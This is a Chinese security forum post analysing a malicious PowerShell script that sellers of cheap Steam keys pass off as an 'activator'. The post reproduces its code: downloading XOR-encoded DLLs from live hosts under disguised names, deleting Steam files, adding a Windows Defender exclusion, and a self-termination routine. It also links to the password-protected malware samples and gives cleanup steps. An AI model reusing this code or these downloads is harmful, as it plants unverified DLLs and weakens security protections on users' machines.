原创 吾爱pojie 2025-09-04 15:03 北京
之前无意间在某多多发现了steam的cdk激活码,竟然只要7.8元,直接拿下,看到店家发给我的激活流程我就发现问题了不是哥们,还要powershell激活,一眼有问题啊,直接分析。
作者论坛账号:Skyearth1
Steam 低价激活脚本分析
前言
之前无意间在某多多发现了steam的cdk激活码,竟然只要7.8元,直接拿下,看到店家发给我的激活流程我就发现问题了不是哥们,还要powershell激活,一眼有问题啊,直接分析
详细行为分析
1. 权限要求与安全规避
软件先从cdk.steam.work下载了一个powershell脚本
复制代码 隐藏代码$currentPrincipal = New-Object Security.Principal.WindowsPrincipal(...)if (-not ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))) { Write-Host"请以管理员权限运行PowerShell"-ForegroundColor:red return}
- 强制要求管理员权限主动检测并关闭安全软件
: 复制代码 隐藏代码if(Get-Process"360Tray*") { while(Get-Process"360Tray*") { Write-Host"[360]"-Red; Sleep1.5 }}
循环检测 360 安全进程并等待其退出
这种行为就不用多说了,懂得都懂
2. 核心文件篡改
复制代码 隐藏代码Remove-Item"$steamPath/version.dll"-ForceRemove-Item"$steamPath/user32.dll"-ForceRemove-Item"$steamPath/steam.cfg"-ForceRemove-Item"$steamPath/hid.dll"-Force
- 删除关键系统文件
:
version.dll- Windows 版本信息库
user32.dll- 用户界面核心组件
steam.cfg- Steam 客户端配置文件
hid.dll- 人机接口设备驱动
3. 可疑文件下载
复制代码 隐藏代码$downApi = "http://2.steam.work/api/v1/download/pwsDown"irm-Uri$downApi-Headers@{ Referer = "libary" } -OutFile"$steamPath/hid"Rename-Item"$steamPath/hid""$steamPath/hid.dll"irm-Uri$downApi-Headers@{ Referer = "localData.vdf" } -OutFile"$localPath/localData.vdf"
从未经验证域名下载文件(2.xxx.work)
使用伪造 Referer 头部规避检察
4. Windows Defender 排除配置
复制代码 隐藏代码Add-MpPreference-ExclusionPath$steamPath
将 Steam 目录加入 Defender 排除列表
使恶意文件免于安全扫描
5. 重启机制
复制代码 隐藏代码Start-Process"steam://"Write-Host"请重启Steam客户端以完成优化"-ForegroundColor:green
通过特殊协议重启 Steam
使篡改后的文件生效
技术证据链
可疑域名分析
2.steam.work 域名特征:
注册时间:2023-05-17(较新域名)
注册商:NameSilo, LLC
与官方 Steam 域名无关联
无有效 SSL 证书信息
文件篡改后果
复制代码 隐藏代码# 原始 Steam 文件结构Steam/├── steam.exe├── steamapps/├── user32.dll # 合法Windows组件├── hid.dll # 合法HID驱动└── steam.cfg # 客户端配置文件# 脚本修改后Steam/├── steam.exe├── steamapps/├── hid.dll # 被替换为未知文件└── localData.vdf # 新增可疑配置文件
检测与修复建议
检测脚本痕迹
复制代码 隐藏代码# 检查可疑文件Test-Path"$env:ProgramFiles(x86)\Steam\hid.dll"Test-Path"$env:LOCALAPPDATA\Steam\localData.vdf"# 检查Defender排除项Get-MpPreference | Select-Object-ExpandProperty ExclusionPath
修复措施
- 立即操作: 复制代码 隐藏代码Remove-Item"$env:ProgramFiles(x86)\Steam\hid.dll"-ForceRemove-Item"$env:LOCALAPPDATA\Steam\localData.vdf"-Force恢复安全设置: 复制代码 隐藏代码Remove-MpPreference-ExclusionPath"$env:ProgramFiles(x86)\Steam"重新安装Steam:
完全卸载steam
重新下载安装
账号安全加固:立即更改Steam密码
启用Steam手机令牌二次验证
结论
脚本本质是游戏盗版工具,通过修改组件实现所谓的"激活"。其行为模式包含:
使用此类脚本可能导致:
💸 Steam账号永久封禁(G胖是不会允许你白嫖的)
🔓 系统后门植入(替换的组件有没有后门谁也不知道)如果你直接填他给的激活码会显示无效
后话
1.该网址仍存活,但下载dll的网址似乎已失效,所以没有样本,里面还有一个exe写的是激活工具,但是无论如何怎么换环境都显示网络波动,不知道是什么原因,我把文件放在下面供各位分析,整体并没有什么难度,也没伪装也没加密,估计就是骗小白的。2.核心原理就是把你的steam的家庭组组件替换,然后把不知道从哪里来的家庭组账户注入进去,就实现了假入库,这时候如果你去看自己的账户会发现根本没有这款游戏,但是游戏在steam里可以运行也可以玩,看起来跟正常的一样,但是这种行为在steam用户协议里是明文禁止的,一但被查出来就是封号,不要因为贪小便宜吃大亏3.网站有icp备案,备案是吉首市盛威商贸商行(个体工商户),4.整体的技术分析没有什么难点,主要在于要对powershell语言要熟悉,这样的店大家可以点点举报5.hid.dll我找不到下载地址,微步要高级会员才能下载样本,大家有能力可以下载下来分析
附件
exe样本:https://wwkz.lanzoum.com/iKDCY30rctre密码:b1jm
powershell脚本:https://wwkz.lanzoum.com/ieOE530rcw1g
店家给的激活指南:https://www.kdocs.cn/l/cvIsidxYEUQ2
网站分析报告在此https://x.threatbook.com/v5/domain/cdk.steam.work
exe程序的沙箱分析报告贴在这里:https://s.threatbook.com/report/file/6cecd136d02b71948cdc8a36251c977629a877da5696d5631bf6b63289b3b9c5
感谢@dark718 提供的样本
详细代码分析与操作流程详细代码分析与操作流程
1. 初始设置与权限检查
复制代码 隐藏代码#Requires -RunAsAdministrator[Console]::OutputEncoding = [System.Text.Encoding]::UTF8$ErrorActionPreference = "SilentlyContinue"# 检查管理员权限if (-not$( [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match'S-1-5-32-544') )) { Write-Host" [STEAM] 请使用管理员模式运行"-ForegroundColor Red exit}
- 权限要求
:强制要求管理员权限(SID S-1-5-32-544 = 管理员组)
错误处理:静默忽略所有错误(SilentlyContinue),避免暴露问题
2. 关键文件下载操作
复制代码 隐藏代码# 定义下载函数(含蓝奏云解析)functionGet-DownloadUrl { # ... [蓝奏云解析逻辑] ... return"$dom/file/$downloadUrl"}# 文件下载核心逻辑functionDownloadFile { param([string]$url, [string]$savePath, [string]$hash, [string]$targetPath, [string]$fid) # 哈希验证跳过重复下载 if ((Test-Path$targetPath) -and ((Get-FileHash-Path$targetPath-Algorithm MD5).Hash -eq$hash)) { return } # 异或解密类定义 Add-Type-TypeDefinition@" using System.IO; public class XorUtil { public static void XorFile(string p, byte key) { var b = File.ReadAllBytes(p); for(int i=0; i<b.Length; i++) b[i] ^= key; File.WriteAllBytes(p, b); } }"@ # 多源下载尝试 $urls = @() if ($fid) { $urls += (Get-DownloadUrl-fid$fid) } # 蓝奏云源 $urls += $url# 备用Gitee源 # 带重试的下载 Invoke-WithRetry-ScriptBlock { foreach ($urlin$urls) { try { Invoke-RestMethod-Uri$url-Headers@{'Accept-Language'='zh-CN'} ` -OutFile$savePath-ErrorAction Stop [XorUtil]::XorFile($savePath, 0x51) # 0x51异或解密 return } catch { $err = $_ } } throw$err }}
3. 实际下载文件列表与参数
复制代码 隐藏代码# 文件1:legit (未知用途)DownloadFile -url'https://gitee.com/steam__run/aa/raw/master/legit' ` -savePath"$env:APPDATA\Stool\legit" ` -hash'737F19DAB5306F42DDF2F57666A13FB1' ` -fid'iEA2Q2xvugzi'# 文件2:hid.dll (伪装下载)DownloadFile -url'https://gitee.com/steam__run/aa/raw/master/2/hid.dll' ` -savePath"$env:APPDATA\Stool\winhttp-log.txt" ` -hash'8AF54131FDCFF059BE41282A1BAF3FA5' ` -targetPath"$steamPath\hid.dll" ` -fid'iDnrk2xvuh4d'# 文件3:zlib1.dll (伪装下载)DownloadFile -url'https://gitee.com/steam__run/aa/raw/master/2/zlib1.dll' ` -savePath"$env:APPDATA\Stool\winhttp-log1.txt" ` -hash'822F765B45F77AE59E7C6091E69E3814' ` -targetPath"$steamPath\zlib1.dll" ` -fid'ixoev2xvuh7g'# 文件4:appdata.vdf (直接写入)DownloadFile -url'https://gitee.com/steam__run/aa/raw/master/2/appdata.vdf' ` -savePath"$steamPath\appcache\appdata.vdf" ` -hash'0921A94753C0BE443470AC52D17F313A' ` -fid'iz5jW2xvuh5e'
4. 文件伪装与部署流程
复制代码 隐藏代码# 文件重命名伪装(DLL → LOG → DLL)if (Test-Path$savePathTxt) { Move-Item-Path$savePathTxt-Destination"$steamPath\hid.log"-Force Rename-Item-Path"$steamPath\hid.log"-NewName"hid.dll"-Force}# 清理冲突文件foreach ($filein@("steam.cfg", "version.dll", "user32.dll")) { $filePath = Join-Path$steamPath$file if (Test-Path$filePath) { Remove-Item$filePath-Force }}# 修改Steam配置(强制在线模式)$loginUsersPath = Join-Path$steamPath"config\loginusers.vdf"(Get-Content$loginUsersPath-Encoding UTF8) -replace ` '("WantsOfflineMode")\s*("\d+")', "`$1`t`t`"0`"" | ` Set-Content$loginUsersPath-Encoding UTF8
5. 注册表修改操作
复制代码 隐藏代码# 创建/修改注册表项$registryPath = "HKCU:\Software\Valve\Steamtools"if (-not(Test-Path$registryPath)) { New-Item-Path$registryPath-Force | Out-Null}# 设置特殊值Set-ItemProperty-Path$registryPath-Name"packageinfo"-Value"" | Out-Nullif (Test-Path"env:c") { Set-ItemProperty-Path$registryPath-Name"c"-Value$env:c-Type DWORD | Out-Null}
- 注册表路径
:HKEY_CURRENT_USER\Software\Valve\Steamtools
特殊值:packageinfo设为空字符串,c设为环境变量值
6. 进程管理逻辑
复制代码 隐藏代码# 终止所有Steam进程(排除Steam++)$runningProcess = Get-Process | Where-Object { $_.ProcessName -imatch"^steam"-and$_.ProcessName -notmatch"^steam\+\+"}$runningProcess | ForEach-Object { Stop-Process$_-Force }# 进程终止等待(10秒超时)$waitTimes = 10while (Get-Process | Where-Object { $_.ProcessName -imatch"^steam"-and$_.ProcessName -notmatch"^steam\+\+"}) { Start-Sleep-Seconds1 if ($waitTimes---le0) { break }}
7. 自毁机制
复制代码 隐藏代码# 关闭父进程(自毁)$instance = Get-CimInstance Win32_Process -Filter"ProcessId = '$PID'"while ($instance-and ($instance.ProcessName -eq"powershell.exe"-or $instance.ProcessName -eq"WindowsTerminal.exe")) { $parentProcessId = $instance.ParentProcessId $instance = Get-CimInstance Win32_Process -Filter"ProcessId = '$parentProcessId'"}Stop-Process-Id$parentProcessId-Force
8. 下载文件验证表
9. 技术要点分析
- 蓝奏云解析技术:
通过模拟浏览器请求解析真实下载地址
支持多个域名容错(lanzoup.com/lanzoui.com) 复制代码 隐藏代码$response = Invoke-WebRequest-Uri"$baseUrl/$fid"-Headers@{'User-Agent'=''}$sign = [regex]::Match($content, "var wp_sign = '(.*?)';").Groups[1].Value
安全规避手段:文件扩展名伪装(.dll → .txt → .log → .dll)
异或加密传输(密钥0x51)
虚假安全提示:"已通过Windows Defender检测"
进程注入准备:强制关闭Steam进程
修改关键配置文件(loginusers.vdf)
部署DLL文件到Steam目录实现劫持
自毁机制:追溯父进程ID并终止
9秒倒计时后自动关闭 复制代码 隐藏代码for ($i = 9; $i-ge0; $i--) {Write-Host"`r [STEAM] 本窗口将在 $i 秒后关闭..."-NoNewlineStart-Sleep-Seconds1}
10. 后话
在文中找到了一个gitee仓库(hxxps://gitee.com/steam__run/ ),用于存放病毒文件,我已经发邮件反馈,大家也一起反馈一下,争取让仓库下架
风险总结:该脚本通过DLL劫持(hid.dll/zlib1.dll)和配置文件修改实现Steam激活绕过,使用多层伪装规避安全检测。部署的文件来源不可验证,存在安全风险。实际文件用途需进一步逆向分析,特别是legit文件和DLL文件的行为。
-官方论坛
www.52pojie.cn
👆👆👆
公众号设置“星标”,您不会错过新的消息通知
如开放注册、精华文章和周边活动等公告
